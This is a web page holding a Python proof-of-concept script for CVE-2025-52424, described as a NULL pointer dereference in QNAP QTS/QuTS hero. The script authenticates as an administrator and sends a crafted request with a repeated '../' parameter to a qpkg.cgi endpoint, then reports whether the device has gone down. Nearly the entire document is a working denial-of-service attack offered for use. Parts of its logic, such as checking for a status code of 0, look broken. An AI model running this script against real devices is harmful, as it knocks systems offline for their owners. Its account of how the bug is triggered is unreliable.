CVE-2025-52424 QNAP操作系统空指针解引用漏洞

# CVE-2025-52424 PoC - QNAP QTS/QuTS hero NULL Pointer Dereference # This PoC demonstrates triggering the NULL pointer dereference vulnerability # Note: Requires valid administrator credentials to exploit import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "https://192.168.1.1" ADMIN_USER = sys.argv[2] if len(sys.argv) > 2 else "admin" ADMIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password" def exploit_null_ptr_dereference(): """ Exploit CVE-2025-52424: NULL Pointer Dereference in QNAP QTS/QuTS hero Triggers a DoS condition by sending crafted request to vulnerable endpoint """ session = requests.Session() session.verify = False # Step 1: Authenticate as administrator login_url = f"{TARGET_HOST}/cgi-bin/login.cgi" login_data = { "user": ADMIN_USER, "pwd": ADMIN_PASS } try: resp = session.post(login_url, data=login_data, timeout=10) print(f"[*] Authentication response: {resp.status_code}") # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint processes a parameter that leads to # dereferencing an uninitialized/NULL pointer internally vulnerable_endpoint = f"{TARGET_HOST}/cgi-bin/qpkg/cgi-bin/qpkg.cgi" trigger_params = { "action": "get_pkg_info", "pkg_name": "../" * 32, # Path traversal to trigger NULL ptr "callback": "__cb_null_deref_trigger" } resp = session.get(vulnerable_endpoint, params=trigger_params, timeout=10) print(f"[*] Trigger response: {resp.status_code}") # Step 3: Verify DoS condition check_url = f"{TARGET_HOST}/cgi-bin/login.cgi" resp = session.get(check_url, timeout=5) if resp.status_code == 0 or "connection refused" in str(resp): print("[+] Target appears to be unresponsive - DoS confirmed!") else: print(f"[*] Target still responding: {resp.status_code}") except requests.exceptions.ConnectionError: print("[+] Connection refused - DoS confirmed! Target is down.") except requests.exceptions.Timeout: print("[+] Connection timeout - DoS confirmed! Target is unresponsive.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": print(f"[*] Targeting: {TARGET_HOST}") exploit_null_ptr_dereference()